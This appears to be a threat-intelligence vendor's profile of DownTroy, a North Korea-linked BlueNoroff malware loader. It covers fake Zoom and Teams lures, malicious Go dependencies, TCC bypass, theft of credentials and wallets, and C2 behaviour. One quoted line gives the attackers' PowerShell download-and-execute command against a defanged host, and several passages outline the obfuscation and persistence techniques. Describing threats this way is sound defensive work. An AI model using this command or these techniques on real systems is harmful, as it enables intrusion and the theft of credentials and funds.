Loading malware…
DownTroy is a malware loader/downloader associated with the North Korea-linked BlueNoroff threat actor, a Lazarus subgroup also tracked as APT38, Sapphire Sleet, Stardust Chollima, TA444, and related aliases. It is documented in BlueNoroff’s SnatchCrypto activity, particularly the GhostCall and GhostHire campaigns targeting the Web3 and blockchain ecosystem, including executives, venture capital personnel, blockchain developers, and related organizations. Victims were observed across multiple countries, with reporting highlighting activity against macOS users in countries including Japan, Italy, France, Singapore, Turkey, Spain, Sweden, India, and Hong Kong, and GhostHire activity in Japan and Australia.
On macOS, DownTroy is delivered through fake Zoom or Microsoft Teams meeting lures. Victims are socially engineered via Telegram and phishing pages into downloading a malicious AppleScript presented as an SDK or updater. The initial AppleScript installs a fake Zoom or Teams application, downloads a next-stage AppleScript named DownTroy, and in some cases contains extensive blank lines to hinder analysis. DownTroy checks stored passwords associated with password-management applications, repeatedly downloads additional scripts from command-and-control infrastructure until reboot, and installs additional malware with root privileges. Reporting states it can bypass Apple’s Transparency, Consent, and Control (TCC) protections, including offline modification of the macOS TCC database to grant AppleEvents and protected-folder access without user consent. It also harvests files associated with Bitwarden, LastPass, 1Password, Dashlane, Apple Notes, Evernote, and Telegram.
DownTroy is described as a modular loader that can initiate multiple macOS attack chains and deploy numerous follow-on payloads. Named payloads delivered by DownTroy include CosmicDoor, RooTroy, RealTimeTroy, ZoomClutch, TeamsClutch, SneakMain, SysPhon, and additional unnamed payloads. Related reporting describes DownTroy v1 as using Go-based components such as trustd and watchdog to decrypt configuration, execute AppleScript payloads, and maintain persistence via LaunchAgents. A later DownTroy v2 is described as using Nim-based installer, dropper, and loader components, restoring deleted files and persistence, and generating the DownTroy AppleScript payload; this variant is also referred to as NimDoor in external reporting.
In GhostHire, DownTroy is also used cross-platform. Malicious coding-assessment projects delivered via Telegram bots, GitHub repositories, or ZIP archives include a malicious dependency such as the Go module uniroute and download OS-specific DownTroy payloads for Windows, Linux, or macOS. Reported DownTroy variants collect host reconnaissance including OS details, hostname, username, proxy settings, virtual-machine indicators, and process lists. On Windows, DownTroy has been reported to download base64-encoded binary blobs and inject them into cmd.exe using a custom in-memory PE loader. Separate reporting also notes a PowerShell C2 implant using the same Base64 plus XOR 0x43 obfuscation scheme and beacon-task-result architecture documented for DownTroy scripts.
High-confidence associated malware and capabilities in chains initiated by DownTroy include credential theft, keylogging, persistence, remote command execution, file download, process injection, and broad theft of browser, password-vault, collaboration, cloud, and developer secrets through payloads such as SilentSiphon, CosmicDoor, RooTroy, and RealTimeTroy. The malware is therefore best characterized as a central BlueNoroff loader/downloader used to stage broader multi-component compromise across macOS and, in later campaigns, Windows and Linux.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
2 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
DownTroy.macOS is responsible for downloading additional scripts from its C2 server until the system is rebooted. ... In the GhostHire campaign, this script serves as the initial downloader, fetching various malware chains from a file hosting server.
The PowerShell C2 implant uses the same Base64 + XOR 0x43 obfuscation scheme and beacon-task-result architecture documented by Kaspersky as the “DownTroy” scripts used in fake conference.
29 distinct techniques documented for this family, organized by ATT&CK tactic.
Upon accessing the fake site, the target is presented with a page carefully designed to mirror the appearance of Zoom in a browser... Approximately three to five seconds later, an error message appears... prompting them to download a Zoom SDK update file through a link labeled 'Update Now'.
The main project code relies on an external malicious dependency specified in the go.mod file... The external project is named uniroute... We observed several malicious Go packages... imported into repositories and executed within a specific section of the code.
Once contact is established with the target, they use Calendly to schedule a meeting and then share a meeting link through domains that mimic Zoom... In September 2025, we discovered that the group is shifting from cloning the Zoom UI in their attacks to Microsoft Teams.
The actor reaches out to targets on Telegram by impersonating venture capitalists and, in some cases, using compromised accounts of real entrepreneurs and startup founders... In the GhostHire campaign, BlueNoroff approaches Web3 developers and tricks them into downloading and executing a GitHub repository containing malware under the guise of a skill assessment during a recruitment process.
If the C2 responds with a PowerShell script, it is executed directly via Invoke-Expression, providing the attacker with arbitrary code execution within the current user session.
The attacker-injected PowerShell delivery command in this case was: powershell -ep bypass -c "(iwr -Uri hxxps://uu03webzoom[.]us/developer/sdk/update/version/[REDACTED] -UserAgent 'ZoomSDK' -UseBasicParsing).Content | iex"
Linux (lin.go). Downloads its payload to /tmp/init and runs it as a bash script with nohup... SilentSiphon... composed of various bash scripts... used to collect and exfiltrate data.
A Windows shortcut file is created in the user’s Startup folder... This creates a boot-persistent execution chain: on every reboot, the LNK executes the bootstrap payload, which re-reads and executes chromechip.log, re-establishing the C2 beacon.
Another notable feature of the downloader script is a bypass of TCC... renaming the user’s com.apple.TCC directory and then performing offline edits to the TCC.db database... grant AppleEvents permissions for automation and file access to a client path controlled by the actor.
The script is obfuscated using Base64 encoding with per-byte XOR (key 0x43), with all output suppressed to avoid console visibility.
Another notable feature of the downloader script is a bypass of TCC... renaming the user’s com.apple.TCC directory and then performing offline edits to the TCC.db database... grant AppleEvents permissions for automation and file access to a client path controlled by the actor.
The file, of course, is malicious–triggering a chain of implants such as DownTroy, CosmicDoor, and Rootroy, each performing specialized tasks like credential theft, keylogging, or persistence.
"...prompt the user to enter their system password in order to complete the app update and exfiltrate the details..."
"...checks stored passwords associated with password management applications..." / "SilentSiphon is equipped to harvest... credentials from browsers and password managers..."
The downloader script includes a harvesting function that searches for files associated with password management applications (such as Bitwarden, LastPass, 1Password, and Dashlane)... uad.sh is the password-vault stealer module.
Another notable feature of the downloader script is a bypass of TCC... renaming the user’s com.apple.TCC directory and then performing offline edits to the TCC.db database... grant AppleEvents permissions for automation and file access to a client path controlled by the actor.
RooTroy collects and lists all mounted volumes and running processes... SneakMain.macOS constructs a JSON object containing this information, along with additional fields such as... process list... SysPhon... Process list ps aux.
all three DownTroy strains collect comprehensive system information including OS details, domain name, host name, username, proxy settings, and VM detection alongside process lists... SysPhon... conduct system reconnaissance by executing a series of commands.
Once inside the target environment, the malware seeks out crypto wallet data, SSH keys, and project credentials–anything that could enable financial theft or lateral movement within corporate infrastructure.
The system profile is sent as a JSON payload via HTTP POST to /api/daemon... Command output is captured and POST-ed back to /api/result, completing the C2 loop.
The page reports back to their backend infrastructure through a series of automatically triggered HTTP GET requests... RooTroy sends the collected information to the C2 server via a POST request to /update endpoint... additional files are retrieved with GET.
45 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
6 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A PowerShell-based C2 implant/backdoor using Base64+XOR obfuscation and a beacon-task-result architecture to profile hosts, receive tasks, and execute arbitrary PowerShell from C2.
An AppleScript-based component used to fetch and deploy additional payloads in BlueNoroff’s GhostCall/GhostHire infection chains.
DownTroy is an implant used in BlueNoroff's GhostCall campaign, specializing in credential theft as part of a multi-stage malware chain.
A malware loader used in BlueNoroff’s GhostCall/GhostHire infection chains to stage and deliver additional payloads.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.